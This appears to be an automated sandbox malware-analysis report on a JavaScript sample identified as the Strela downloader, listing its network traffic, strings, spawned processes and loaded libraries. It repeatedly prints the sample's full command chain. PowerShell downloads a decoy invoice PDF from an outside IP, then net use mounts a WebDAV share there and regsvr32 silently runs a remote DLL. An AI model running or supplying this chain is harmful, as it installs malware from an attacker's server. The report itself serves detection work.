TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1425361979.00000288EE33C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1479734746.0000023BD09DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1479734746.0000023BD09A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.2708055793.000001BBAD600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1480260904.000001BBAD3E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7844, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 22951172482589918451.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7940:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zop02jpb.3y4.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22951172482589918451.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1376,i,3274789144004917139,15356109860751723325,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30722353614508.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1376,i,3274789144004917139,15356109860751723325,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
